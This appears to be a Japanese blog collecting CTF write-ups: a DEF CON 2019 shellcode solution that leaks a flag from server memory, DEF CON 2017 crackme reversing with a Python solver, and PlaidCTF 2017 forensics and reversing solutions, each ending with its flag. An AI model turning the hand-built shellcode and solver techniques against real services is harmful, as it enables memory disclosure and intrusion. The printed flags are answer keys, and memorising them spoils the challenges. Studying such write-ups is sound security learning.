know_your_mem (フラグの出力)

Makefileの処理でshellcode.cに書かれた処理がコンパイルされ、know_your_memに送るshellcodeが作成される。shellcode.c -> shellcode.elf -> shellcode.bin.pkt という風にshellcodeが作成されている。(※shellcode.bin.pktの先頭2バイトはshellcodeの長さを表すunsigned short) make処理では、↑で書いたポインタを求める処理だけコンパイルし、そして、know_your_mem.cで特定したメモリアドレスをwriteするshellcode部分は以下のように書いて、↑で作成したshellcode.bin.pktに追加して最終的なshellcodeを作成した。(system callでwriteを呼び出している)

4D 31 D2            XOR R10, R10
48 C7 C2 50000000   MOV RDX, 50
48 89 C6            MOV RSI, RAX
48 C7 C7 00000000   MOV RDI, 0
50                  PUSH RAX
49 8D 42 01         LEA RAX, QWORD PTR [R10+1]
0F 05               SYSCALL
58                  POP RAX

最終的にサーバーへ送信したshellcodeは以下のようになった。

00000000  59 00 48 8d 84 24 f8 fe  ff ff 48 b9 ff ff ff ff  |Y.H..$....H.....|
00000010  ff ef ff ff 48 be fe ef  ff ff ff 0f 00 00 48 89  |....H.........H.|
00000020  44 24 f8 48 8b 54 24 f8  48 8b 02 48 8d 3c 08 48  |D$.H.T$.H..H.<.H|
00000030  39 f7 76 0b 48 83 c2 04  48 89 54 24 f8 eb e4 4d  |9.v.H...H.T$...M|
00000040  31 d2 48 c7 c2 50 00 00  00 48 89 c6 48 c7 c7 00  |1.H..P...H..H...|
00000050  00 00 00 50 49 8d 42 01  0f 05 58 c3              |...PI.B...X.|

送信結果

ubuntu@ubuntu-VirtualBox:/media/sf_onedrive_ctf/DEFCON_2019/first_contact/know_your_mem$ cat shellcode1.bin.pkt | nc know_your_mem.quals2019.oooverflow.io 4669
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.15.0-1037-aws (x86_64)
Send the length (uint16), then the shellcode.
[ ] All right, I read 89 bytes. I will call the first byte in a bit.
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 36 bytes)
[ ] Putting red herrings in memory...
[*] seccomp filter now active!
OOO{so many bits, so many syscalls}

Flag: OOO{so many bits, so many syscalls}

以上でっす。

DEF CON CTF Qualifier 2017 write-up

4/29 0:00-5/1 0:00(UTC) に開催されたDEF CON CTF Qualifier 2017で解けた問題のwrite-upです。
チーム名 CTF-infinitとして参加し、43pts獲得して173位でした。

crackme1 (Baby'sFirst)

crackme1_f92e0ab22352440383d58be8f046bebe.quals.shallweplayaga.me:10001
[https://2017.notmalware.ru/add6a6232ea1e9d42b925a7d2a2c5781bfccd6fd/8a97fb8c264a3b34dad0a707dbfc92832067a0fa0f2b5a576c73557960b11506.tar.bz2]

x86-64のELFが提供され、リモートに繋いでみると何か答えをBase64で送れと言われる。

$ file magic_dist
magic_dist: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, stripped

$ nc crackme1_f92e0ab22352440383d58be8f046bebe.quals.shallweplayaga.me 10001
send your solution as base64, followed by a newline

とりあえずELFファイルを逆アセンブルし、解析

$ objdump -D -Mintel magic_dist > magic_dist.asm

c6cから始まる関数を見てみると955, 971など細かく関数をcallしている。
引数(rdi)に渡しているアドレスは、1バイトずつずらしている。

 c6c:	55                   	push   rbp
 c6d:	53                   	push   rbx
 c6e:	48 89 fd             	mov    rbp,rdi
 c71:	48 83 ec 08          	sub    rsp,0x8
 c75:	48 0f be 3f          	movsx  rdi,BYTE PTR [rdi]
 c79:	e8 bd fc ff ff       	call   93b <_init+0x243>
 c7e:	48 0f be 7d 01       	movsx  rdi,BYTE PTR [rbp+0x1]
 c83:	48 c1 f8 03          	sar    rax,0x3
 c87:	48 89 c3             	mov    rbx,rax
 c8a:	e8 c6 fc ff ff       	call   955 <_init+0x25d>
 c8f:	48 0f be 7d 02       	movsx  rdi,BYTE PTR [rbp+0x2]
 c94:	48 01 c3             	add    rbx,rax
 c97:	48 c1 fb 03          	sar    rbx,0x3
 c9b:	e8 d1 fc ff ff       	call   971 <_init+0x279>
 ca0:	48 0f be 7d 03       	movsx  rdi,BYTE PTR [rbp+0x3]
 ca5:	48 01 c3             	add    rbx,rax
 ca8:	48 c1 fb 03          	sar    rbx,0x3
 cac:	e8 da fc ff ff       	call   98b <_init+0x293>
 cb1:	48 0f be 7d 04       	movsx  rdi,BYTE PTR [rbp+0x4]
 cb6:	48 01 c3             	add    rbx,rax
 cb9:	48 c1 fb 03          	sar    rbx,0x3
 cbd:	e8 e3 fc ff ff       	call   9a5 <_init+0x2ad>
 cc2:	48 0f be 7d 05       	movsx  rdi,BYTE PTR [rbp+0x5]
  :

呼び出されている関数の中身を見てみると、引数(rdi)と1バイト比較。
イコールならeaxに値を代入してret。notイコールのときに呼ばれる758は、<.plt.got>セクションにあるし、exit関数っぽい。とりあえず比較している1バイトを集める。

   :
 93b:	48 83 ff 79          	cmp    rdi,0x79 ; "y"
 93f:	74 0e                	je     94f <_init+0x257>
 941:	48 83 ec 08          	sub    rsp,0x8
 945:	bf 01 00 00 00       	mov    edi,0x1
 94a:	e8 09 fe ff ff       	call   758 <_init+0x60>
 94f:	b8 a7 00 00 00       	mov    eax,0xa7
 954:	c3                   	ret    

 955:	48 83 ff 65          	cmp    rdi,0x65 ; "e"
 959:	74 0e                	je     969 <_init+0x271>
 95b:	48 83 ec 08          	sub    rsp,0x8
 95f:	bf 02 00 00 00       	mov    edi,0x2
 964:	e8 ef fd ff ff       	call   758 <_init+0x60>
 969:	48 c7 c0 9b ff ff ff 	mov    rax,0xffffffffffffff9b
 970:	c3                   	ret    

 971:	48 83 ff 73          	cmp    rdi,0x73 ; "s"
 975:	74 0e                	je     985 <_init+0x28d>
 977:	48 83 ec 08          	sub    rsp,0x8
 97b:	bf 03 00 00 00       	mov    edi,0x3
 980:	e8 d3 fd ff ff       	call   758 <_init+0x60>
 985:	b8 a0 00 00 00       	mov    eax,0xa0
 98a:	c3                   	ret    
   :

集めた文字を連結すると、"yes and his hands shook with ex"という文字列になった。試しにBase64エンコードして送信してみたらフラグだった。

$ echo "yes and his hands shook with ex" | base64 | nc crackme1_f92e0ab22352440383d58be8f046bebe.quals.shallweplayaga.me 10001
send your solution as base64, followed by a newline
4a2181aaf70b04ec984c233fbe50a1fe600f90062a58d6b69ea15b85531b9652
The flag is: important videos best playlist Wigeekuk8

magic (CrackMe_2000)

cm2k-magic_b46299df0752c152a8e0c5f0a9e5b8f0.quals.shallweplayaga.me:12001

[https://2017.notmalware.ru/5e1d5bc4e73657be1b008fbb6b08a7604e81d7cb/91ae7f2ec76f00975849c44b3d8ec8ed897fab7335c156d949bd15ea156338b3.tar.bz2]

解凍するとx86-64のELFが200個ほどあった。とりあえず逆アセンブルして眺めてみたところ、crackme1と同じ形式なことがわかった。

       :
     93b:	48 83 ff 64          	cmp    rdi,0x64 ; d
     93f:	74 0e                	je     94f <_init+0x257>
     941:	48 83 ec 08          	sub    rsp,0x8
     945:	bf 01 00 00 00       	mov    edi,0x1
     94a:	e8 09 fe ff ff       	call   758 <_init+0x60>
     94f:	b8 6c 00 00 00       	mov    eax,0x6c
     954:	c3                   	ret    
     
     955:	48 83 ff 65          	cmp    rdi,0x65 ; e
     959:	74 0e                	je     969 <_init+0x271>
     
     95b:	48 83 ec 08          	sub    rsp,0x8
     95f:	bf 02 00 00 00       	mov    edi,0x2
     964:	e8 ef fd ff ff       	call   758 <_init+0x60>
     969:	b8 49 00 00 00       	mov    eax,0x49
     96e:	c3                   	ret    
     
     96f:	48 83 ff 2e          	cmp    rdi,0x2e ; .
     973:	74 0e                	je     983 <_init+0x28b>
     975:	48 83 ec 08          	sub    rsp,0x8
     979:	bf 03 00 00 00       	mov    edi,0x3
     97e:	e8 d5 fd ff ff       	call   758 <_init+0x60>
     983:	b8 72 00 00 00       	mov    eax,0x72
     988:	c3                   	ret    
      :
     df6:	55                   	push   rbp
     df7:	53                   	push   rbx
     df8:	48 89 fd             	mov    rbp,rdi
     dfb:	48 83 ec 08          	sub    rsp,0x8
     dff:	48 0f be 3f          	movsx  rdi,BYTE PTR [rdi]
     e03:	e8 33 fb ff ff       	call   93b <_init+0x243>
     
     e08:	48 0f be 7d 01       	movsx  rdi,BYTE PTR [rbp+0x1]
     e0d:	48 c1 f8 03          	sar    rax,0x3 ; 0x6c >> 0x3 = 0xd
     e11:	48 89 c3             	mov    rbx,rax
     e14:	e8 3c fb ff ff       	call   955 <_init+0x25d>
     
     e19:	48 0f be 7d 02       	movsx  rdi,BYTE PTR [rbp+0x2]
     e1e:	48 01 c3             	add    rbx,rax
     e21:	48 c1 fb 03          	sar    rbx,0x3
     e25:	e8 45 fb ff ff       	call   96f <_init+0x277>
     e2a:	48 0f be 7d 03       	movsx  rdi,BYTE PTR [rbp+0x3]
       :

200個を手作業でやるわけにはいかないので、pythonで自動収集するプログラムを作成。
問題の文字列収集は、比較部分のニーモニック(cmp rdi,0xXX)に該当する機械語が"48 83 ff XX"だったので、逆アセンブル結果から該当する機械語を含む行だけ抽出したら、うまいぐあいに文字の比較部分だけ抽出できた。最終的な回答コードが以下になった。

#!/usr/bin/python
import os
import re
import glob
import base64
import subprocess
import socket

def read_data(f, delim="\n"):
    data = ""
    while not data.endswith(delim):
        data += f.read(1)
    return data


def make_ans(fname, data):
    data = data.split("\n")
    cmp = ""
    for d in data:
        if  "\t48 83 ff " not in d:
            continue
        a = d.split(",")[1]
        a = chr(int(a, 16))
        print d, "; ", a
        
        cmp += a
    
    print fname
    print "[+]str: ", cmp
    print "[+]Base64: ", base64.b64encode(cmp)
    return base64.b64encode(cmp)


if __name__ == "__main__":
    # run objdump
    files = glob.glob("./magic_dist/*")
    ans_list = {}
    # collect ans
    for f in files:
        arg = ["objdump", "-d", "-Mintel", f]
        asm = subprocess.Popen(arg, stdout=subprocess.PIPE)
        data, err = asm.communicate()
        
        q = f.split("/")[2]
        ans_list[q] = make_ans(f, data)
    
    # connect to server
    host = "cm2k-magic_b46299df0752c152a8e0c5f0a9e5b8f0.quals.shallweplayaga.me"
    port = 12001
    
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    sf = s.makefile("rw", bufsize=0)
    while True:
        data = read_data(sf)
        print data
        if "flag" in data:
            break
        elif 'send your solution as base64, followed by a newline' in data:
            continue
        data = data.split("\n")[0]
        ans = ans_list[data]
        sf.write(ans + "\n")

コードとしては、Objdumpで逆アセンブル、その結果から"\t48 83 ff " を含む行を抽出。比較されているバイトを連結し、Base64エンコードして辞書作成。サーバーへの回答時は、サーバーからの質問をキーとしてエンコードしている回答を送信しているだけ。
何度か回答に成功するとフラグがもらえた。

 $ ./solve.py
 93b:   48 83 ff 64             cmp    rdi,0x64 ;  d
 955:   48 83 ff 6f             cmp    rdi,0x6f ;  o
 96f:   48 83 ff 63             cmp    rdi,0x63 ;  c
 989:   48 83 ff 74             cmp    rdi,0x74 ;  t
 9a3:   48 83 ff 6f             cmp    rdi,0x6f ;  o
 9bd:   48 83 ff 72             cmp    rdi,0x72 ;  r
 9d7:   48 83 ff 20             cmp    rdi,0x20 ;   
 9f3:   48 83 ff 63             cmp    rdi,0x63 ;  c
 a0d:   48 83 ff 61             cmp    rdi,0x61 ;  a
 a27:   48 83 ff 6d             cmp    rdi,0x6d ;  m
 a41:   48 83 ff 65             cmp    rdi,0x65 ;  e
 a5b:   48 83 ff 20             cmp    rdi,0x20 ;   
 a75:   48 83 ff 69             cmp    rdi,0x69 ;  i
 a8f:   48 83 ff 6e             cmp    rdi,0x6e ;  n
 aa9:   48 83 ff 2c             cmp    rdi,0x2c ;  ,
 ac3:   48 83 ff 20             cmp    rdi,0x20 ;   
 adf:   48 83 ff 73             cmp    rdi,0x73 ;  s
 af9:   48 83 ff 68             cmp    rdi,0x68 ;  h
 b13:   48 83 ff 61             cmp    rdi,0x61 ;  a
 b2d:   48 83 ff 6b             cmp    rdi,0x6b ;  k
 b47:   48 83 ff 69             cmp    rdi,0x69 ;  i
 b61:   48 83 ff 6e             cmp    rdi,0x6e ;  n
 b7b:   48 83 ff 67             cmp    rdi,0x67 ;  g
 b95:   48 83 ff 20             cmp    rdi,0x20 ;   
 bb1:   48 83 ff 68             cmp    rdi,0x68 ;  h
 bcb:   48 83 ff 69             cmp    rdi,0x69 ;  i
 be5:   48 83 ff 73             cmp    rdi,0x73 ;  s
 c01:   48 83 ff 20             cmp    rdi,0x20 ;   
 c1b:   48 83 ff 68             cmp    rdi,0x68 ;  h
 c35:   48 83 ff 65             cmp    rdi,0x65 ;  e
 c4f:   48 83 ff 61             cmp    rdi,0x61 ;  a
 c69:   48 83 ff 64             cmp    rdi,0x64 ;  d
 c83:   48 83 ff 2e             cmp    rdi,0x2e ;  .
 c9f:   48 83 ff 20             cmp    rdi,0x20 ;   
 cbb:   48 83 ff 22             cmp    rdi,0x22 ;  "
 cd5:   48 83 ff 57             cmp    rdi,0x57 ;  W
 cef:   48 83 ff 65             cmp    rdi,0x65 ;  e
 d0b:   48 83 ff 6c             cmp    rdi,0x6c ;  l
./magic_dist/e005a1973167b4cf47100c81bca178b98646a128e05a6beb804226888be3f344
[+]str:  doctor came in, shaking his head. "Wel
[+]Base64:  ZG9jdG9yIGNhbWUgaW4sIHNoYWtpbmcgaGlzIGhlYWQuICJXZWw=
 :
send your solution as base64, followed by a newline

c0d5312126c2a52cb23f91694a22ba32284e59336fb5176ed92dc1cd23b62655
  :
省略
  :
be422c4d780fcc9f29d01283ad76088529af9b4dc7a69c3bb9979fb51a23824e

The flag is: a color map of the sun sokemsUbif

解けた問題は以上です。力不足感が半端ないので、もっと精進したい。

PlaidCTF 2017 write-up

4/22-23に開催されたPlaidCTF 2017で解けた問題のwrite-upです。
チーム名 CTFinfinitとして参加し、226pts獲得して185位でした。

sanity check (Misc/1pts)

The flag is PCTF{poop}

テスト問題なので、フラグ投稿するだけ。

zipper (Misc/50pts)

Something doesn't seem quite right with this zip file. 
Can you fix it and get the flag?

とりあえずzipinfoでは "filename too long" と出力される。

ubuntu@zipper$ zipinfo zipper.zip 
Archive:  zipper.zip
Zip file size: 236 bytes, number of entries: 1
warning:  filename too long--truncating.
-rw-rw-r--  3.0 unx      246 tx defX 17-Apr-18 19:15

バイナリエディタで眺めてみると、0x2329 となっていて確かにファイル名長さの値が大きすぎる。また、ファイル名が入りそうな領域がすべて 0x00 になっている。
f:id:amaga38:20170424234027p:plain
8文字分だったので、適当にファイル名を flag.txt として値を修正。
f:id:amaga38:20170424234406p:plain
あとは、修正したファイルを展開して中のファイルを閲覧して終わり。

Huzzah, you have captured the flag:
PCTF{f0rens1cs_yay}    

Down the Reversing Hole (Misc/50pts)

Don't forget. This is a MISC challenge. 

MISCチャレンジということで、実行ファイルに何か隠されているだろうとバイナリを眺めてみたらMZスタブが普通の実行ファイルに比べて大きい。あからさまに何かある。


f:id:amaga38:20170424230758p:plain
MZスタブはMS-DOSとの互換性のための処理らしい*1ので、IDA freeで実行ファイルをDOSプログラムとして解析させてみる。

f:id:amaga38:20170424225533p:plain

f:id:amaga38:20170424225027p:plain
解析結果は割と小さく、どうやらデータをXORしているだけらしい。

seg000:0000                         public start
seg000:0000                         start proc near
seg000:0000 B8 03 00                mov     ax, seg dseg
seg000:0003 8E D8                   mov     ds, ax
seg000:0005                         assume ds:dseg
seg000:0005 8D 16 00 00             lea     dx, unk_30
seg000:0009 B4 09                   mov     ah, 9 ; Write string to STDOUT
seg000:000B CD 21                   int     21h             ; DOS - PRINT STRING
seg000:000B                                                 ; DS:DX -> string terminated by "$"
seg000:000D B9 00 00                mov     cx, 0

seg000:0010
seg000:0010                         loc_10:
seg000:0010 83 F9 39                cmp     cx, 39h ; '9' ; 39文字分
seg000:0013 74 17                   jz      short loc_

seg000:0015 8D 1E 2B 00             lea     bx, unk_5B ; 0x25B~
seg000:0019 03 D9                   add     bx, cx
seg000:001B 8A 17                   mov     dl, [bx]
seg000:001D 8D 1E 64 00             lea     bx, unk_94 ; 0x294~
seg000:0021 03 D9                   add     bx, cx
seg000:0023 32 17                   xor     dl, [bx]

seg000:0025 B4 02                   mov     ah, 2 ; Write character to STDOUT
seg000:0027 CD 21                   int     21h             ; DOS - DISPLAY OUTPUT
seg000:0027                                                 ; DL = character to send to standard output
seg000:0029 41                      inc     cx
seg000:002A EB E4                   jmp     short loc_10

seg000:002C
seg000:002C                         loc_2C:
seg000:002C B4 4C                   mov     ah, 4Ch ; Exit program
seg000:002E CD 21                   int     21h             ; DOS - 2+ - QUIT WITH EXIT CODE (EXIT)
seg000:002E                         start endp              ; AL = exit code
seg000:002E
seg000:002E                         seg000 ends

フラグを得るプログラムは以下のようになった。

#!/usr/bin/python

f = open("reversing-hole.exe", "rb")
data = f.read()
f.close()

f = open("flag.txt", "wb")
dl = data[0x25B:0x294]
bx = data[0x294:0x2CD]

for i in range(len(dl)):
    t = ord(dl[i]) ^ ord(bx[i])
    f.write(chr(t))
f.write("\n")
f.close()
ubuntu@misc$ ./solve.py; cat flag.txt 
But here's a flag PCTF{at_l3a5t_th3r3s_d00m_p0rts_0n_d0s}

no_mo_flo (Reversing/125pts)

Can you go with the flow?

とりあえず、逆アセンブル

objdump -D -Mintel no_flo > no_flo.asm

mainのアセンブリ

 ; main
  40272e:	55                   	push   rbp
  40272f:	48 89 e5             	mov    rbp,rsp
  402732:	48 81 ec b0 00 00 00 	sub    rsp,0xb0
  402739:	48 8d 45 d0          	lea    rax,[rbp-0x30]
  40273d:	ba 20 00 00 00       	mov    edx,0x20
  402742:	48 89 c6             	mov    rsi,rax
  402745:	bf 00 00 00 00       	mov    edi,0x0
  40274a:	e8 31 de ff ff       	call   400580 <read@plt>
  40274f:	89 45 f8             	mov    DWORD PTR [rbp-0x8],eax
  402752:	83 7d f8 20          	cmp    DWORD PTR [rbp-0x8],0x20 ; 32文字
  402756:	74 14                	je     40276c <strerror@plt+0x21ac>
  ; error;
	  402758:	bf 58 2d 40 00       	mov    edi,0x402d58
	  40275d:	e8 ee dd ff ff       	call   400550 <puts@plt>
	  402762:	b8 ff ff ff ff       	mov    eax,0xffffffff
	  402767:	e9 9b 00 00 00       	jmp    402807 <strerror@plt+0x2247>
  ; for 
  40276c:	c7 45 fc 00 00 00 00 	mov    DWORD PTR [rbp-0x4],0x0
  402773:	eb 3a                	jmp    4027af <strerror@plt+0x21ef>
	  402775:	8b 45 fc             	mov    eax,DWORD PTR [rbp-0x4]
	  402778:	01 c0                	add    eax,eax
	  40277a:	48 98                	cdqe   
	  40277c:	0f b6 44 05 d0       	movzx  eax,BYTE PTR [rbp+rax*1-0x30]
	  402781:	0f be d0             	movsx  edx,al
	  402784:	8b 45 fc             	mov    eax,DWORD PTR [rbp-0x4]
	  402787:	48 98                	cdqe   
	  402789:	89 94 85 50 ff ff ff 	mov    DWORD PTR [rbp+rax*4-0xb0],edx
	  
	  402790:	8b 45 fc             	mov    eax,DWORD PTR [rbp-0x4]
	  402793:	01 c0                	add    eax,eax
	  402795:	83 c0 01             	add    eax,0x1
	  402798:	48 98                	cdqe   
	  40279a:	0f b6 44 05 d0       	movzx  eax,BYTE PTR [rbp+rax*1-0x30]
	  40279f:	0f be d0             	movsx  edx,al
	  4027a2:	8b 45 fc             	mov    eax,DWORD PTR [rbp-0x4]
	  4027a5:	48 98                	cdqe   
	  4027a7:	89 54 85 90          	mov    DWORD PTR [rbp+rax*4-0x70],edx
	  4027ab:	83 45 fc 01          	add    DWORD PTR [rbp-0x4],0x1
	  
	  4027af:	83 7d fc 0f          	cmp    DWORD PTR [rbp-0x4],0xf
	  4027b3:	7e c0                	jle    402775 <strerror@plt+0x21b5>
  ; }

  4027b5:	b8 00 00 00 00       	mov    eax,0x0
  4027ba:	e8 b8 04 00 00       	call   402c77 <strerror@plt+0x26b7>
 
  ; [rbp-0xb0]のチェック
  4027bf:	48 8d 85 50 ff ff ff 	lea    rax,[rbp-0xb0]
  4027c6:	48 89 c7             	mov    rdi,rax
  4027c9:	e8 f8 de ff ff       	call   4006c6 <strerror@plt+0x106>
  4027ce:	89 45 f4             	mov    DWORD PTR [rbp-0xc],eax
  ; [rbp-0x70]のチェック
  4027d1:	48 8d 45 90          	lea    rax,[rbp-0x70]
  4027d5:	48 89 c7             	mov    rdi,rax
  4027d8:	e8 3b e7 ff ff       	call   400f18 <strerror@plt+0x958>
  4027dd:	89 45 f0             	mov    DWORD PTR [rbp-0x10],eax

  4027e0:	83 7d f4 00          	cmp    DWORD PTR [rbp-0xc],0x0
  4027e4:	74 12                	je     4027f8 <strerror@plt+0x2238>
  4027e6:	83 7d f0 00          	cmp    DWORD PTR [rbp-0x10],0x0
  4027ea:	74 0c                	je     4027f8 <strerror@plt+0x2238>

  4027ec:	bf 65 2d 40 00       	mov    edi,0x402d65 ; "Good flow!!"
  4027f1:	e8 5a dd ff ff       	call   400550 <puts@plt>
  4027f6:	eb 0a                	jmp    402802 <strerror@plt+0x2242>

  4027f8:	bf 78 2d 40 00       	mov    edi,0x402d78 ; "You aint goin with the flow...."
  4027fd:	e8 4e dd ff ff       	call   400550 <puts@plt>
  402802:	b8 00 00 00 00       	mov    eax,0x0
  402807:	c9                   	leave  
  402808:	c3                   	ret    

main関数はなんとなくこんな感じ。
readで標準入力から読み込んだデータを2つのバッファへ交互に格納。
f_4006c6()、f_400f18()でそれぞれ入力されたデータのチェック。両関数の戻り値が0でなければ、Good flow!!が出力される流れ。なので、おそらく入力データがフラグになるだろうと予想。

int main( ) {
    int i; // rbp-0x4
    int var_0xc, var_0x10;
    char buff_0x30[33], buff_0x70[16], buff_0xb0[16];
    
    if (0x20 != read(0, buff_0x30, 0x20)) {
        return -1;
    }
    for (i=0; i<=0xf; i++) {
        buff_0xb0[i*4] = buff_0x30[2 * i];
        buff_0x70[i*4] = buff_0x30[(2 * i) + 1];
    }

    f_402c77();

    var_0xc = f_4006c6(buff_0xb0);
    var_0x10 = f_400f18(buff_0x70);

    if (var_0xc == 0 || var_0x10 == 0) {
        puts("You aint goin with the flow....");
    } else {
        puts("Good flow!!");
    }
    return 0;
}

f_4006c6の処理は、単純でcmpの結果 je されるルート(比較結果がイコール)になる入力を求める。
関数の返却値は、r8dレジスタに格納され、NGの文字が入力されていた場合、r8dに0が格納される。

  :
  4006f6:	8b 3a                	mov    edi,DWORD PTR [rdx] ; データ
  4006f8:	89 fa                	mov    edx,edi
  4006fa:	83 c2 05             	add    edx,0x5 ; データに5が加わる↓
  4006fd:	89 d7                	mov    edi,edx
  4006ff:	83 ff 55             	cmp    edi,0x55 ; 0x50 = "P" ↑で5加わっているので、入力は減算
  400702:	4c 8d 1c 25 30 07 40 	lea    r11,ds:0x400730 ; OKの場合の次のアドレス
  400709:	00 
  40070a:	0f 84 00 08 00 00    	je     400f10 <strerror@plt+0x950> ; OK
  400710:	4c 8d 1c 25 1d 07 40 	lea    r11,ds:0x40071d ; ↓でjmpして戻ってくるアドレス
  400717:	00 
  400718:	e9 f3 07 00 00       	jmp    400f10 <strerror@plt+0x950> ; 一旦jmpして戻ってくる
  40071d:	41 b8 00 00 00 00    	mov    r8d,0x0 ; NG
  400723:	4c 8d 1c 25 3d 07 40 	lea    r11,ds:0x40073d
  :

f_400f18の処理は、f_402c77でsigaction@pltで登録されたシグナル処理を利用してデータチェックをしている。
sigactionでは、SIGFPEのシグナル時の処理として、f_4005a0が登録されている。SIGFPEは浮動小数点例外(0除算処理)時のシグナル。
sigemptyset@plt に渡す前にsa_flagsにSA_SIGINFOを指定しているので、シグナルハンドラーが呼び出される際の引数として、最初の引き数としてシグナル番号を、二番目の引き数として siginfo_t へのポインターを、三番目の引き数として (void * にキャストした) ucontext_t へのポインターを受けとる。*2

  402c77:	55                   	push   rbp
  402c78:	48 89 e5             	mov    rbp,rsp
  402c7b:	48 81 ec a0 00 00 00 	sub    rsp,0xa0
  402c82:	c7 45 e8 04 00 00 00 	mov    DWORD PTR [rbp-0x18],0x4 ; SA_SIGINFO
  402c89:	48 c7 85 60 ff ff ff 	mov    QWORD PTR [rbp-0xa0],0x402b06
  402c90:	06 2b 40 00 
  402c94:	48 8d 85 60 ff ff ff 	lea    rax,[rbp-0xa0]
  402c9b:	48 83 c0 08          	add    rax,0x8
  402c9f:	48 89 c7             	mov    rdi,rax
  402ca2:	e8 f9 d8 ff ff       	call   4005a0 <sigemptyset@plt> ; 初期化
  402ca7:	48 8d 85 60 ff ff ff 	lea    rax,[rbp-0xa0]
  402cae:	ba 00 00 00 00       	mov    edx,0x0 ; struct sigaction *old
  402cb3:	48 89 c6             	mov    rsi,rax ; struct sigaction *act
  402cb6:	bf 08 00 00 00       	mov    edi,0x8 ; SIGFPE
  402cbb:	e8 a0 d8 ff ff       	call   400560 <sigaction@plt>
  402cc0:	c9                   	leave  
  402cc1:	c3                   	ret    

チェック処理は、400f84にあるようにワザと0除算をして、SIGFPEに登録したシグナルハンドラを呼び出している。シグナルハンドラーの結果がOKだったら、0x603340にjmp先のアドレスが返却されてくる。
f_400f18関数の返却値は、esiレジスタに格納され、NGの文字が入力されていた場合、esiに0が格納される。

  :
  400f37:	8b 02                	mov    eax,DWORD PTR [rdx] ; データ
  400f39:	89 c2                	mov    edx,eax
  400f3b:	83 ea 03             	sub    edx,0x3
  400f3e:	89 d0                	mov    eax,edx
  400f40:	83 f8 40             	cmp    eax,0x40 ; 0x43 = "C"
  400f43:	4c 8d 14 25 28 10 40 	lea    r10,ds:0x401028
  400f4a:	00 
  400f4b:	49 c7 c3 05 00 00 00 	mov    r11,0x5
  400f52:	c7 04 25 28 33 60 00 	mov    DWORD PTR ds:0x603328,0x1 ; 比較に利用
  400f59:	01 00 00 00 
  400f5d:	48 89 04 25 30 33 60 	mov    QWORD PTR ds:0x603330,rax ; "C"
  400f64:	00 
  400f65:	48 c7 c0 00 00 00 00 	mov    rax,0x0
  400f6c:	48 89 14 25 38 33 60 	mov    QWORD PTR ds:0x603338,rdx
  400f73:	00 
  400f74:	48 8d 15 00 00 00 00 	lea    rdx,[rip+0x0]        # 400f7b <strerror@plt+0x9bb>

  400f7b:	48 89 14 25 48 33 60 	mov    QWORD PTR ds:0x603348,rdx
  400f82:	00 
  400f83:	99                   	cdq    
  400f84:	48 f7 3c 25 20 33 60 	idiv   QWORD PTR ds:0x603320 ; 0除算でsigハンドラ呼び出し
  400f8b:	00 
  400f8c:	48 c7 04 25 20 33 60 	mov    QWORD PTR ds:0x603320,0x0
  400f93:	00 00 00 00 00 
  400f98:	48 8b 04 25 30 33 60 	mov    rax,QWORD PTR ds:0x603330
  400f9f:	00 
  400fa0:	48 8b 14 25 38 33 60 	mov    rdx,QWORD PTR ds:0x603338
  400fa7:	00 
  400fa8:	4c 8b 1c 25 40 33 60 	mov    r11,QWORD PTR ds:0x603340 ; 次のアドレス
  400faf:	00 
  400fb0:	41 ff e3             	jmp    r11 ; OKなら次の検査
  400fb3:	be 00 00 00 00       	mov    esi,0x0 ; NG
  400fb8:	4c 8d 14 25 28 10 40 	lea    r10,ds:0x401028
  :

シグナルハンドラーでは、第3引数として受け取ったコンテキスト(ucontext_t へのポインター)のなかのEFLAGSを利用してデータの比較結果を確認していた。

  40289a:	55                   	push   rbp
  40289b:	48 89 e5             	mov    rbp,rsp
  40289e:	48 89 7d d8          	mov    QWORD PTR [rbp-0x28],rdi
  4028a2:	48 89 75 d0          	mov    QWORD PTR [rbp-0x30],rsi
  4028a6:	48 8b 45 d8          	mov    rax,QWORD PTR [rbp-0x28]
  4028aa:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
  4028ae:	48 8b 05 93 0a 20 00 	mov    rax,QWORD PTR [rip+0x200a93]        # 603348 <strerror@plt+0x202d88>
  4028b5:	48 83 c0 38          	add    rax,0x38
  4028b9:	48 89 45 f0          	mov    QWORD PTR [rbp-0x10],rax
  4028bd:	48 8b 45 d0          	mov    rax,QWORD PTR [rbp-0x30] ; シグナルハンドラー呼び出し時のEFLAGS
  4028c1:	83 e0 40             	and    eax,0x40 ; ZF 結果が0
  4028c4:	48 85 c0             	test   rax,rax
  4028c7:	0f 9f c0             	setg   al
  4028ca:	0f b6 c0             	movzx  eax,al
  4028cd:	89 45 ec             	mov    DWORD PTR [rbp-0x14],eax
  4028d0:	48 8b 45 d0          	mov    rax,QWORD PTR [rbp-0x30]
  4028d4:	25 00 08 00 00       	and    eax,0x800 ; OF オーバーフロー
  4028d9:	48 85 c0             	test   rax,rax
  4028dc:	0f 9f c0             	setg   al
  4028df:	0f b6 c0             	movzx  eax,al
  4028e2:	89 45 e8             	mov    DWORD PTR [rbp-0x18],eax
  4028e5:	48 8b 45 d0          	mov    rax,QWORD PTR [rbp-0x30]
  4028e9:	25 80 00 00 00       	and    eax,0x80 ; SF 符号。負の場合。
  4028ee:	48 85 c0             	test   rax,rax
  4028f1:	0f 9f c0             	setg   al
  :

比較結果の確認のパターンとしては、イコールになるか X+1 > X > X-1 となるXか?の2種類だった(気がする)。例えば、入力文字Xが0x40="@" > X > 0x3e=">"を満たすかどうかをチェックしていた。

Flag: PCTF{n0_fl0?_m0_like_ah_h3ll_n0}